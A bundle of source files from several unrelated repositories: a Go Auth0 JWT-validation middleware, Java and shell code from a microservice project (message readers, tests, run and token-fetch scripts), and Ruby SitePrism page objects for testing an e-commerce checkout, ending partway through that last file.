<file_sep>package hrauth0 import ( "net/http" "gopkg.in/square/go-jose.v2" "gopkg.in/square/go-jose.v2/jwt" "github.com/horogo/horo-log" "github.com/horogo/horo" "strings" "context" ) type Auth0 struct { jwksURI string signingMethod jose.SignatureAlgorithm expectedClaims jwt.Expected keyStore keyStore log *hrlog.Logger } // New creates a new Auth0. The audience, issuer, // cert variables are set accordingly to which // provided by Auth0 func New(audience []string, issuer string, jwksURI string) *Auth0 { assert1(audience != nil, "audience cannot be nil") assert1(issuer != "", "issuer cannot be empty") assert1(jwksURI != "", "cert cannot be empty") auth := &Auth0{ expectedClaims: jwt.Expected{ Issuer: issuer, Audience: audience, }, jwksURI: jwksURI, signingMethod: jose.RS256, keyStore: newKeyStore(), log: hrlog.New(), } auth.log.SetPrefix("[HORO-AUTH0]") return auth } // Handler return a Horo Handler middleware func (au *Auth0) Handler(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { claims, err := au.getClaims(r) if err != nil { au.log.Errorln("Cannot extract claims:", err) } else { au.log.Debugln("Subject:", claims.Subject) au.log.Debugln("Scope:", claims.Scope) ac := horo.Authentication{ Authenticated: true, Subject: claims.Subject, Authorities: strings.Split(claims.Scope, " "), } r = r.WithContext(context.WithValue(r.Context(), horo.AuthKey, ac)) } next.ServeHTTP(w, r) }) } <file_sep>package hrauth0 func assert1(guard bool, msg string) { if !guard { panic(msg) } }<file_sep>package hrauth0 import ( "testing" "net/http/httptest" ) func TestAuth0_Handler(t *testing.T) { r := httptest.NewRequest("GET", "/", nil) r.Header.Set("Authorization", "<KEY>") au := New( []string{"http://auth.horo.me"}, "https://holo.au.auth0.com/", "https://holo.au.auth0.com/.well-known/jwks.json") handler := au.Handler()(nil) handler.ServeHTTP(nil, r) } <file_sep># Horo Auth0 Provide Auth0 support for Horo Framework using RSA256 Signing Algorithm.<file_sep>package hrauth0 import ( "net/http" "gopkg.in/square/go-jose.v2/jwt" "strings" "errors" "gopkg.in/square/go-jose.v2" "sync" "encoding/json" "time" ) var ( ErrTokenNotFound = errors.New("token not found") ErrInvalidAlgorithm = errors.New("only RS256 is supported") ErrNoJWTHeaders = errors.New("no headers in the token") ErrInvalidContentType = errors.New("should have a JSON content type for JWKS endpoint") ErrNoKeyFound = errors.New("no Keys has been found") ) type keyStore struct { store map[string]jose.JSONWebKey sync.RWMutex } type JWKS struct { Keys []jose.JSONWebKey `json:"keys"` } type Claims struct { jwt.Claims Scope string `json:"scope"` } func newKeyStore() keyStore { return keyStore{ store: make(map[string]jose.JSONWebKey), } } func (au *Auth0) getClaims(r *http.Request) (*Claims, error) { token, err := extractToken(r) if err != nil { return nil, err } if len(token.Headers) < 1 { return nil, ErrNoJWTHeaders } header := token.Headers[0] if header.Algorithm != string(au.signingMethod) { return nil, ErrInvalidAlgorithm } claims := &Claims{} key, err := au.getKey(header.KeyID) if err != nil { return nil, err } if err = token.Claims(key, claims); err != nil { return nil, err } expected := au.expectedClaims.WithTime(time.Now()) err = claims.Validate(expected) if err != nil { return nil, err } return claims, nil } // extractToken looks for jwt token in request header func extractToken(r *http.Request) (*jwt.JSONWebToken, error) { raw := "" if h := r.Header.Get("Authorization"); len(h) > 7 && strings.EqualFold(h[0:7], "BEARER ") { raw = h[7:] } if raw == "" { return nil, ErrTokenNotFound } return jwt.ParseSigned(raw) } func (au *Auth0) getKey(id string) (jose.JSONWebKey, error) { au.keyStore.RLock() searchedKey, exist := au.keyStore.store[id] au.keyStore.RUnlock() if !exist { if keys, err := au.downloadKeys(); err != nil { return jose.JSONWebKey{}, err } else { au.keyStore.Lock() for _, key := range keys { au.keyStore.store[key.KeyID] = key if key.KeyID == id { searchedKey = key exist = true } } au.keyStore.Unlock() } } if exist { return searchedKey, nil } return jose.JSONWebKey{}, ErrNoKeyFound } func (au *Auth0) downloadKeys() ([]jose.JSONWebKey, error) { r, err := http.Get(au.jwksURI) if err != nil { return []jose.JSONWebKey{}, err } defer r.Body.Close() if header := r.Header.Get("Content-Type"); !strings.HasPrefix(header, "application/json") { return []jose.JSONWebKey{}, ErrInvalidContentType } var jwks = JWKS{} err = json.NewDecoder(r.Body).Decode(&jwks) if err != nil { return []jose.JSONWebKey{}, err } if len(jwks.Keys) < 1 { return []jose.JSONWebKey{}, ErrNoKeyFound } return jwks.Keys, nil }
56ecf463fc9b973ec98dc1e60198d21aec9e343a
[ "Markdown", "Go" ]
5
Go
horogo/horo-auth0
e588535241d17ea62e2c797242cdf26da917b1e6
adc05b3b9c958b98c04ec5ff2a1d368c0d638738
refs/heads/main
<repo_name>BHelder/radien-ce<file_sep>/rd-ms-rolemanagement/run.sh java -jar target/rolemanagementservice-exec.jar<file_sep>/rd-web-impl/src/main/java/io/radien/webapp/WebApp.java package io.radien.webapp; import javax.enterprise.context.ApplicationScoped; import javax.enterprise.inject.Model; import javax.inject.Inject; import io.radien.api.OAFAccess; import io.radien.api.OAFProperties; /** * @author <NAME> */ public @ApplicationScoped @Model class WebApp extends AbstractWebapp { private static final long serialVersionUID = 162788969745175865L; @Inject private OAFAccess oaf; @Override public String getProperty(OAFProperties cfg) { return getOAF().getProperty(cfg); } @Override public OAFAccess getOAF() { return oaf; } } <file_sep>/rd-ms-permissionmanagement/run.sh java -jar target/permissionmanagementservice-exec.jar <file_sep>/rd-ms-usermanagement/run.sh java -jar target/usermanagementservice-exec.jar <file_sep>/rd-openid/src/main/java/io/radien/security/openid/config/AjaxAwareAuthenticationEntryPoint.java /** * */ package io.radien.security.openid.config; import java.io.IOException; import org.springframework.http.HttpStatus; import org.springframework.security.core.AuthenticationException; import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; /** * @author <NAME> * */ public class AjaxAwareAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { public AjaxAwareAuthenticationEntryPoint(final String loginFormUrl) { super(loginFormUrl); } /** * Sends HTTP status 401 (Unauthorized) when the <b>X-Requested-With</b> * header equals <b>XMLHttpRequest</b>. Otherwise redirects to the login * page. */ @Override public void commence(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response, AuthenticationException authException) throws IOException, javax.servlet.ServletException { final String header = request.getHeader("X-Requested-With"); final boolean isAjaxRequest = "XMLHttpRequest".equalsIgnoreCase(header); if (isAjaxRequest) { response.sendError(HttpStatus.UNAUTHORIZED.value()); } else { super.commence(request, response, authException); } } } <file_sep>/rd-ms-ecm-client/src/test/java/io/radien/ms/ecm/client/providers/I18NPropertyMessageBodyReaderTest.java package io.radien.ms.ecm.client.providers; import io.radien.ms.ecm.client.entities.I18NProperty; import io.radien.ms.ecm.client.entities.LabelTypeEnum; import junit.framework.TestCase; import org.junit.Test; import org.mockito.InjectMocks; import org.mockito.MockitoAnnotations; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; public class I18NPropertyMessageBodyReaderTest extends TestCase { @InjectMocks private I18NPropertyMessageBodyReader reader; public I18NPropertyMessageBodyReaderTest() { MockitoAnnotations.initMocks(this); } @Test public void testIsReadable() { assertTrue(reader.isReadable(I18NProperty.class, null, null, null)); } @Test public void testReadFrom() throws IOException { String object = "{ " + "\"key\": \"test\", " + "\"type\": \"MESSAGE\", " + "\"translations\": [ " + "{ \"language\": \"en\", \"description\": \"test description\" } " + "] }"; InputStream in = new ByteArrayInputStream(object.getBytes()); I18NProperty read = reader.readFrom(null, null, null, null, null, in); assertEquals(read.getKey(), "test"); assertEquals(read.getType(), LabelTypeEnum.MESSAGE); assertEquals(read.getTranslations().size(), 1); } } <file_sep>/rd-ms-permissionmanagement-client/src/test/java/io/radien/ms/permissionmanagement/client/providers/PermissionMessageBodyReaderTest.java package io.radien.ms.permissionmanagement.client.providers; import io.radien.ms.permissionmanagement.client.entities.Action; import io.radien.ms.permissionmanagement.client.entities.Permission; import io.radien.ms.permissionmanagement.client.services.ActionFactory; import io.radien.ms.permissionmanagement.client.services.PermissionFactory; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.InjectMocks; import org.mockito.junit.MockitoJUnitRunner; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; @RunWith(MockitoJUnitRunner.class) public class PermissionMessageBodyReaderTest { @InjectMocks PermissionMessageBodyReader reader; @Test public void testIsReadable() { Assert.assertFalse(reader.isReadable(null, null, null, null)); Assert.assertTrue(reader.isReadable(Permission.class, null, null, null)); } @Test public void testRead() throws IOException { String permissionName = "permission-radien-a"; Long id = 111L; Long createUser = 222L; Long updateUser = 333L; Action action = null; Permission p = PermissionFactory.create(permissionName, null, null, createUser); p.setLastUpdateUser(updateUser); p.setId(id); String json = getJsonString(p); InputStream in = new ByteArrayInputStream(json.getBytes()); Permission p2 = reader.readFrom(null, null, null, null, null, in); Assert.assertEquals(p.getId(), p2.getId()); Assert.assertEquals(p.getCreateUser(), p2.getCreateUser()); Assert.assertEquals(p.getLastUpdateUser(), p2.getLastUpdateUser()); Assert.assertEquals(p.getName(), p2.getName()); Assert.assertEquals(p.getActionId(), p2.getActionId()); // Setting others fields with null (id, action, createUser, lastUpdateUser,..., etc) p = PermissionFactory.create(permissionName, null, null, null); json = getJsonString(p); in = new ByteArrayInputStream(json.getBytes()); p2 = reader.readFrom(null, null, null, null, null, in); Assert.assertEquals(p.getId(), p2.getId()); Assert.assertEquals(p.getCreateUser(), p2.getCreateUser()); Assert.assertEquals(p.getLastUpdateUser(), p2.getLastUpdateUser()); Assert.assertEquals(p.getName(), p2.getName()); Assert.assertEquals(p.getActionId(), p2.getActionId()); p.setLastUpdateUser(111111L); action = ActionFactory.create("Update-Radien-User", 28L); action.setId(11L); p.setActionId(action.getId()); json = getJsonOmittingNullFields(p); in = new ByteArrayInputStream(json.getBytes()); p2 = reader.readFrom(null, null, null, null, null, in); Assert.assertEquals(p.getId(), p2.getId()); Assert.assertEquals(p.getCreateUser(), p2.getCreateUser()); Assert.assertEquals(p.getLastUpdateUser(), p2.getLastUpdateUser()); Assert.assertEquals(p.getName(), p2.getName()); Assert.assertEquals(p.getActionId(), p2.getActionId()); } private java.lang.String getJsonString(Permission p) { StringBuffer params = new StringBuffer(); params.append("\"id\":").append(p.getId()).append(","); params.append("\"createUser\":").append(p.getCreateUser()).append(","); params.append("\"lastUpdateUser\":").append(p.getLastUpdateUser()).append(","); params.append("\"actionId\":").append(p.getActionId()).append(","); params.append("\"name\":\"").append(p.getName()).append("\""); StringBuffer bf = new StringBuffer(); bf.append("{").append(params).append("}"); return bf.toString(); } public String getJsonOmittingNullFields(Permission p) { StringBuffer params = new StringBuffer(); if (p.getId() != null) { params.append("\"id\":").append(p.getId()); } if (p.getCreateUser() != null) { if (params.length() > 0) params.append(","); params.append("\"createUser\":").append(p.getCreateUser()); } if (p.getLastUpdateUser() != null) { if (params.length() > 0) params.append(","); params.append("\"lastUpdateUser\":").append(p.getLastUpdateUser()); } if (p.getName() != null) { if (params.length() > 0) params.append(","); params.append("\"name\":\"").append(p.getName()).append("\""); } if (p.getActionId() != null) { params.append(","); params.append("\"actionId\":").append(p.getActionId()); } StringBuffer bf = new StringBuffer(); bf.append("{").append(params).append("}"); return bf.toString(); } } <file_sep>/rd-ms-ecm-client/run.sh java -jar target/rd-ms-ecm-exec.jar<file_sep>/rd-ms-tenantmanagement/run.sh java -jar target/tenantmanagementservice-exec.jar<file_sep>/rd-openid/src/main/java/io/radien/security/openid/listener/CustomRequestContextListener.java package io.radien.security.openid.listener; import javax.servlet.annotation.WebListener; import org.springframework.web.context.request.RequestContextListener; @WebListener public class CustomRequestContextListener extends RequestContextListener { } <file_sep>/dopackage.sh mvn -T C24 -P tomee clean install package -DskipTests=true <file_sep>/rd-ms-permissionmanagement/src/test/java/io/radien/ms/permissionmanagement/legacy/ActionFactory.java package io.radien.ms.permissionmanagement.legacy; import io.radien.ms.permissionmanagement.model.ActionEntity; import java.util.Date; public class ActionFactory { public static ActionEntity create(String name, Long createUser){ ActionEntity action = new ActionEntity(); action.setName(name); action.setCreateUser(createUser); Date now = new Date(); action.setLastUpdate(now); action.setCreateDate(now); return action; } } <file_sep>/rd-ms-tomee-microprofile/run.sh java -jar target/rd-ms-ecm-service.jar -Xms1G -Xmx1G<file_sep>/start_mongo.sh docker-compose -f docker-compose.build.yml up --build mongo<file_sep>/dobuild.sh mvn -T C20 clean install -DskipTests=true <file_sep>/rd-ms-tenantmanagement/dopackage.sh sh ../dopackage.sh <file_sep>/rd-ms-usermanagement/UserDevInitializer.sh #!/bin/sh #to run this shell script you need jq (is a lightweight and flexible command-line JSON processor) # you can find jq at https://github.com/stedolan/jq # its available in package manager like brew (https://brew.sh/) if ! command -v jq &> /dev/null then echo "to run this shell script you need jq (is a lightweight and flexible command-line JSON processor)" echo "you can find jq at https://github.com/stedolan/jq" echo "its available in package manager like brew (https://brew.sh/)" echo "so if you have brew installed you can install jq with 'brew install jq'" exit fi ACCESS_TOKEN=$(curl -L -X POST $KEYCLOAK_IDP_URL$REALMS_TOKEN_PATH \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode $SCRIPT_CLIENT_ID=$SCRIPT_CLIENT_ID_VALUE \ --data-urlencode $SCRIPT_CLIENT_SECRET=$SCRIPT_CLIENT_SECRET_VALUE \ --data-urlencode $SCRIPT_REDIRECT_URL=$SCRIPT_REDIRECT_URL_VALUE \ --data-urlencode $SCRIPT_GRANT_TYPE=$SCRIPT_GRANT_TYPE_VALUE \ --data-urlencode $SCRIPT_USERNAME=$SCRIPT_USERNAME_VALUE \ --data-urlencode $SCRIPT_PASSWORD=$SCRIPT_PASSWORD_VALUE | jq -r '.access_token')<file_sep>/rd-openid/src/main/java/io/radien/security/openid/config/SpringConfig.java package io.radien.security.openid.config; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.ComponentScans; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; @Configuration @PropertySource("classpath:${spring.profiles.active:application}.properties") @ComponentScans({ @ComponentScan("org.openappframe.security.oidc.rp.service") }) public class SpringConfig { } <file_sep>/rd-ms-openid-client/src/test/java/io/radien/ms/openid/entities/GlobalHeadersTest.java package io.radien.ms.openid.entities; import io.radien.api.security.TokensPlaceHolder; import org.junit.Before; import org.junit.Test; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import javax.ws.rs.core.MultivaluedHashMap; import javax.ws.rs.core.MultivaluedMap; import static org.junit.Assert.*; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; public class GlobalHeadersTest { @InjectMocks GlobalHeaders target; @Mock TokensPlaceHolder tokensPlaceHolder; @Before public void setUp(){ MockitoAnnotations.initMocks(this); } @Test public void testUpdate() { //tokensPlaceHolder = mock(tokensPlaceHolder.getClass()); when(tokensPlaceHolder.getAccessToken()).thenReturn("Batata"); MultivaluedMap<String, String> incomingHeaders = new MultivaluedHashMap<>(); MultivaluedMap<String, String> outgoingHeaders = new MultivaluedHashMap<>(); MultivaluedMap<String, String> result = target.update(incomingHeaders,outgoingHeaders); assertEquals("Bearer Batata",result.getFirst("Authorization")); } }
c57aa7ae19e87c0a30b01e18b9da8ae7f48d68d1
[ "Java", "Shell" ]
19
Shell
BHelder/radien-ce
3a66182d3732455cbceab95aa13b1c0273451850
f232d46cd555aebdcd7e15b2f57867d73ba598d4
refs/heads/master
<repo_name>johnae/blur<file_sep>/src/fastblur.rs // This was taken more or less wholesale from https://github.com/fschutt/fastblur with a few deletions. Compared to the imagemagick/convert based blurring - this is A LOT faster since this is an approximation rather than a perfect gaussian blur, but you don't really notice that. Originally this algorithm is from here: http://blog.ivank.net/fastest-gaussian-blur.html use std::cmp::min; pub fn gaussian_blur(data: &mut Vec<[u8; 3]>, width: usize, height: usize, blur_radius: f32) { let boxes = create_box_gauss(blur_radius, 3); let mut backbuf = data.clone(); for box_size in boxes.iter() { let radius = ((box_size - 1) / 2) as usize; box_blur(&mut backbuf, data, width, height, radius, radius); } } #[inline] fn create_box_gauss(sigma: f32, n: usize) -> Vec<i32> { if sigma > 0.0 { let n_float = n as f32; let w_ideal = (12.0 * sigma * sigma / n_float).sqrt() + 1.0; let mut wl: i32 = w_ideal.floor() as i32; if wl % 2 == 0 { wl -= 1; }; let wu = wl + 2; let wl_float = wl as f32; let m_ideal = (12.0 * sigma * sigma - n_float * wl_float * wl_float - 4.0 * n_float * wl_float - 3.0 * n_float) / (-4.0 * wl_float - 4.0); let m: usize = m_ideal.round() as usize; let mut sizes = Vec::<i32>::new(); for i in 0..n { if i < m { sizes.push(wl); } else { sizes.push(wu); } } sizes } else { vec![1; n] } } #[inline] fn box_blur( backbuf: &mut Vec<[u8; 3]>, frontbuf: &mut Vec<[u8; 3]>, width: usize, height: usize, blur_radius_horz: usize, blur_radius_vert: usize, ) { box_blur_horz(backbuf, frontbuf, width, height, blur_radius_horz); box_blur_vert(frontbuf, backbuf, width, height, blur_radius_vert); } #[inline] fn box_blur_vert( backbuf: &[[u8; 3]], frontbuf: &mut [[u8; 3]], width: usize, height: usize, blur_radius: usize, ) { if blur_radius == 0 { frontbuf.copy_from_slice(backbuf); return; } let iarr = 1.0 / (blur_radius + blur_radius + 1) as f32; for i in 0..width { let col_start = i; let col_end = i + width * (height - 1); let mut ti: usize = i; let mut li: usize = ti; let mut ri: usize = ti + blur_radius * width; let fv: [u8; 3] = backbuf[col_start]; let lv: [u8; 3] = backbuf[col_end]; let mut val_r: isize = (blur_radius as isize + 1) * isize::from(fv[0]); let mut val_g: isize = (blur_radius as isize + 1) * isize::from(fv[1]); let mut val_b: isize = (blur_radius as isize + 1) * isize::from(fv[2]); let get_top = |i: usize| { if i < col_start { fv } else { backbuf[i] } }; let get_bottom = |i: usize| { if i > col_end { lv } else { backbuf[i] } }; for j in 0..min(blur_radius, height) { let bb = backbuf[ti + j * width]; val_r += isize::from(bb[0]); val_g += isize::from(bb[1]); val_b += isize::from(bb[2]); } if blur_radius > height { val_r += (blur_radius - height) as isize * isize::from(lv[0]); val_g += (blur_radius - height) as isize * isize::from(lv[1]); val_b += (blur_radius - height) as isize * isize::from(lv[2]); } for _ in 0..min(height, blur_radius + 1) { let bb = get_bottom(ri); ri += width; val_r += isize::from(bb[0]) - isize::from(fv[0]); val_g += isize::from(bb[1]) - isize::from(fv[1]); val_b += isize::from(bb[2]) - isize::from(fv[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += width; } if height > blur_radius { for _ in (blur_radius + 1)..(height - blur_radius) { let bb1 = backbuf[ri]; ri += width; let bb2 = backbuf[li]; li += width; val_r += isize::from(bb1[0]) - isize::from(bb2[0]); val_g += isize::from(bb1[1]) - isize::from(bb2[1]); val_b += isize::from(bb1[2]) - isize::from(bb2[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += width; } for _ in 0..min(height - blur_radius - 1, blur_radius) { let bb = get_top(li); li += width; val_r += isize::from(lv[0]) - isize::from(bb[0]); val_g += isize::from(lv[1]) - isize::from(bb[1]); val_b += isize::from(lv[2]) - isize::from(bb[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += width; } } } } #[inline] fn box_blur_horz( backbuf: &[[u8; 3]], frontbuf: &mut [[u8; 3]], width: usize, height: usize, blur_radius: usize, ) { if blur_radius == 0 { frontbuf.copy_from_slice(backbuf); return; } let iarr = 1.0 / (blur_radius + blur_radius + 1) as f32; for i in 0..height { let row_start: usize = i * width; let row_end: usize = (i + 1) * width - 1; let mut ti: usize = i * width; let mut li: usize = ti; let mut ri: usize = ti + blur_radius; let fv: [u8; 3] = backbuf[row_start]; let lv: [u8; 3] = backbuf[row_end]; let mut val_r: isize = (blur_radius as isize + 1) * isize::from(fv[0]); let mut val_g: isize = (blur_radius as isize + 1) * isize::from(fv[1]); let mut val_b: isize = (blur_radius as isize + 1) * isize::from(fv[2]); let get_left = |i: usize| { if i < row_start { fv } else { backbuf[i] } }; let get_right = |i: usize| { if i > row_end { lv } else { backbuf[i] } }; for j in 0..min(blur_radius, width) { let bb = backbuf[ti + j]; val_r += isize::from(bb[0]); val_g += isize::from(bb[1]); val_b += isize::from(bb[2]); } if blur_radius > width { val_r += (blur_radius - height) as isize * isize::from(lv[0]); val_g += (blur_radius - height) as isize * isize::from(lv[1]); val_b += (blur_radius - height) as isize * isize::from(lv[2]); } for _ in 0..min(width, blur_radius + 1) { let bb = get_right(ri); ri += 1; val_r += isize::from(bb[0]) - isize::from(fv[0]); val_g += isize::from(bb[1]) - isize::from(fv[1]); val_b += isize::from(bb[2]) - isize::from(fv[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += 1; } if width > blur_radius { for _ in (blur_radius + 1)..(width - blur_radius) { let bb1 = backbuf[ri]; ri += 1; let bb2 = backbuf[li]; li += 1; val_r += isize::from(bb1[0]) - isize::from(bb2[0]); val_g += isize::from(bb1[1]) - isize::from(bb2[1]); val_b += isize::from(bb1[2]) - isize::from(bb2[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += 1; } for _ in 0..min(width - blur_radius - 1, blur_radius) { let bb = get_left(li); li += 1; val_r += isize::from(lv[0]) - isize::from(bb[0]); val_g += isize::from(lv[1]) - isize::from(bb[1]); val_b += isize::from(lv[2]) - isize::from(bb[2]); frontbuf[ti] = [ round(val_r as f32 * iarr) as u8, round(val_g as f32 * iarr) as u8, round(val_b as f32 * iarr) as u8, ]; ti += 1; } } } } #[inline] /// Source: https://stackoverflow.com/a/42386149/585725 fn round(mut x: f32) -> f32 { x += 12582912.0; x -= 12582912.0; x } <file_sep>/src/main.rs use image::{ImageFormat, Rgba}; use imageproc::drawing::draw_text_mut; use rusttype::{FontCollection, Scale}; use std::env; use std::io::Write; mod fastblur; fn main() { let (input, output) = if env::args().count() == 3 { (env::args().nth(1).unwrap(), env::args().nth(2).unwrap()) } else { panic!("Please enter an input file and an output file"); }; let icon_font = Vec::from(include_bytes!("Material-Design-Iconic-Font.ttf") as &[u8]); let text_font = Vec::from(include_bytes!("Roboto-Regular.ttf") as &[u8]); let icon_font = FontCollection::from_bytes(icon_font) .unwrap() .into_font() .unwrap(); let text_font = FontCollection::from_bytes(text_font) .unwrap() .into_font() .unwrap(); let png = image::open(input); if let Ok(image::DynamicImage::ImageRgb8(png_data)) = png { let width = png_data.width() as usize; let height = png_data.height() as usize; let data = png_data.into_raw(); let mut data_new = Vec::<[u8; 3]>::with_capacity(width * height); data_new.resize(width * height, [0, 0, 0]); for y in 0..height { for x in 0..width { let offset = ((width * y) + x) as usize; data_new[((width * y) + x) as usize] = [ data[offset * 3], data[(offset * 3) + 1], data[(offset * 3) + 2], ]; } } fastblur::gaussian_blur(&mut data_new, width as usize, height as usize, 8.0); let mut buf = Vec::new(); let header = format!("P6\n{}\n{}\n{}\n", width, height, 255); buf.write(header.as_bytes()).unwrap(); for px in data_new { buf.write(&px).unwrap(); } let wu32 = width as u32; let hu32 = height as u32; let font_scaling = 10.0; let mut blurred = image::load_from_memory(&buf).unwrap().to_rgba(); let mut gray = image::imageops::grayscale(&blurred); let center = image::imageops::crop( &mut gray, (wu32 / 2) - (wu32 / font_scaling as u32), (hu32 / 2) - (hu32 / font_scaling as u32), (wu32 / font_scaling as u32) * 2, (hu32 / font_scaling as u32) * 2, ); // get the intensity at the 50th percentile and pick the symbol // color based on that let textclr = if imageproc::stats::percentile(&center.to_image(), 50) > 130 { 0u8 } else { 255u8 }; let h = height as f32; let icon_scale = Scale { x: h / font_scaling, y: h / font_scaling, }; let text_scale = Scale { x: h / (font_scaling * 3.0), y: h / (font_scaling * 3.0), }; draw_text_mut( &mut blurred, Rgba([textclr, textclr, textclr, 255u8]), (width as u32 / 2) - (icon_scale.x as u32 / 3), (height as u32 / 2) - (icon_scale.y as u32 / 2), icon_scale, &icon_font, "", ); draw_text_mut( &mut blurred, Rgba([textclr, textclr, textclr, 255u8]), ((width as f32 / 2.33) as u32) - (text_scale.x as u32), ((height as f32 / 1.64) as u32) - (text_scale.y as u32 / 2), text_scale, &text_font, "Type password to unlock", ); blurred.save_with_format(output, ImageFormat::PNG).unwrap(); if textclr == 0u8 { println!("bright") } else { println!("dark") } }; } <file_sep>/README.md ## What's this? It's what I use for my [sway](https://github.com/swaywm/sway) lockscreen. This uses an imperfect version of gaussian blurring which is MUCH faster than say the imagemagick one while the output is such that noone will notice any difference. The algorithm used here originally comes from http://blog.ivank.net/fastest-gaussian-blur.html. This is very much specific to my usecase and maybe not usable by anyone but me. Thank you to https://github.com/fschutt/fastblur for the original fast blur implementation in Rust. The whole reason for this is that I wanted to do something like [swaylock-fancy](https://github.com/Big-B/swaylock-fancy) in less time since I find it awful to bind a key to locking your screen but you must wait 3+ seconds before you see anything happen - I just wanted sub second response time. Here's how I use this on NixOS as my screenlocker: [nixos-configuration/swaylock-dope](https://github.com/johnae/nixos-configuration/blob/master/pkgs/swaylock-dope/swaylock-dope).
21cb15d5c547d26fe51b0af52060cc9d67781ca3
[ "Markdown", "Rust" ]
3
Rust
johnae/blur
0d9da940995b1e47c5f26be57d6372c8702fb134
a1a19fd9e8d52e09aa6af3139e8501ec20d70aee
refs/heads/master
<repo_name>shubh1998/Poster-maker<file_sep>/js/sum.js var a=10,b=20; var sum; sum = a+b; document.write(sum); <file_sep>/js/Promise_Example.js const promiseA = new Promise( (resolutionFunc,rejectionFunc) => { resolutionFunc(777); }); // At this point, "promiseA" is already settled. promiseA.then( (val) => console.log("asynchronous logging has val:",val) ); console.log("immediate logging"); // produces output in this order: // immediate logging // asynchronous logging has val: 777 <file_sep>/README.md # Poster-maker It is a editing tool which allows you to create a poster from existing tamplets(photos) and you can also add your own tamplate.
a3e4a3c225ff7503f749405c4854c8c2954e10cc
[ "JavaScript", "Markdown" ]
3
JavaScript
shubh1998/Poster-maker
4103412239e9bceffc2633e4524c9e0a26c785f9
8e043a81dcada7229c024d9fb88420010573c021
refs/heads/master
<repo_name>eduardofaim/extra<file_sep>/features/pages/product.rb class Produto < SitePrism::Page #home set_url "http://www.extra.com.br/Eletrodomesticos/maquinadelavar/Acimade10kg/Lavadora-Brastemp-BWH12AB-12kg-Super-Filtro-Antifiapos-%E2%80%93-Branca-7880937.html?recsource=whome&rectype=w16" element :comprar_produto_botao, "a#btnAdicionarCarrinho.bt" element :garantia_page_botao, "div.button-panel a" #frete element :calcular_frete_texto, "input[name='ctl00$Conteudo$ctl50$txtCep']" element :calcular_frete_botao, "input[id='btnCalculoFrete']" element :envio_superexpressa_texto, "td[id='ctl00_Conteudo_ctl50_rptTipoEntregaFrete_ctl02_lblEnderecoEntrega']" element :envio_expressa_texto, "td[id='ctl00_Conteudo_ctl50_rptTipoEntregaFrete_ctl03_lblEnderecoEntrega']" element :envio_retirafacil_texto, "td[id='ctl00_Conteudo_ctl50_rptTipoEntregaFrete_ctl04_lblEnderecoEntrega']" element :envio_normal_texto, "td[id='ctl00_Conteudo_ctl50_rptTipoEntregaFrete_ctl05_lblEnderecoEntrega']" element :envio_agendada_texto, "td[id='ctl00_Conteudo_ctl50_rptTipoEntregaFrete_ctl06_lblEnderecoEntrega']" end<file_sep>/features/pages/checkout.rb class Checkout < SitePrism::Page #====================[USUARIO NÃO CADASTRADO]========================== element :nao_cadastrado_checkbox, "input[id='rbNaoCadastrado']" element :nao_cadastrado_botao, "input[id=btnClienteLogin" #======================[CADASTRO USUARIO]============================ element :cadastro_nome_texto, "input[id='NomeCompleto']" element :cadastro_cpf_texto, "input[id='Cpf']" #elemento abaixo é para escolher tipo de telefone1 #element :nao_cadastrado_tipo_telefone1_combo "input[id='TipoFone1']" element :cadastro_ddd_telefone1_texto, "input[id='Telefone1DDDPF']" element :cadastro_telefone1_texto, "input[id='Telefone1PF']" #elemento abaixo é para escolher tipo de telefone2 #element :nao_cadastrado_tipo_telefone2_combo "input[id='TipoFone2']" element :cadastro_ddd_telefone2_texto, "input[id='Telefone2DDDPF']" element :cadastro_telefone2_texto, "input[id='Telefone2PF']" element :cadastro_nascimento_dia_texto, "input[id='DataNascimentoDia']" element :cadastro_nascimento_mes_texto, "input[id='DataNascimentoMes']" element :cadastro_nascimento_ano_texto, "input[id='DataNascimentoAno']" element :cadastro_sexo_checkbox, "label.sexoM input#Sexo" element :cadastro_email_texto, "input[id='Email']" element :cadastro_confirmacao_email_texto, "input[id='ConfirmarEmail']" element :cadastro_senha_texto, "input[id='Senha']" element :cadastro_confirmacao_senha_texto, "input[id='ConfirmarSenha']" element :cadastro_usuario_botao, "input[id='btnClienteSalvar']" #=========================[CADASTRO ENDEREÇO]============================ element :endereco_cep_texto, "input[id='Cep']" element :endereco_nome_texto, "input[id='Nome']" element :endereco_destinatario_texto, "input[id='Destinatario']" #element :endereco_rua_texto, "input[id='Rua']" element :endereco_numero_texto, "input[id='Numero']" element :endereco_complemento_texto, "input[id='Complemento']" #element :endereco_bairro_texto, "input[id='Bairro']" #element :endereco_municipio_texto, "input[id='Municipio']" #element :endereco_estado_texto, "input[id='Estado']" element :endereco_pontoreferencia_texto, "input[id='PontoReferencia']" element :endereco_numero_texto, "input[id='Numero']" element :endereco_salvar_botao, "input[data-id='endereco_cadastro_salvar']" element :endereco_cadastro_confirmacao_texto, "div.addressee" #==========================[TIPO DE ENTREGA]============================ element :endereco_tipoentrega_checkbox, "p.grp.tEntrega.normal input" element :endereco_tipoentrega_botao, "input[data-id='endereco_salvar']" #=========================[TIPO DE 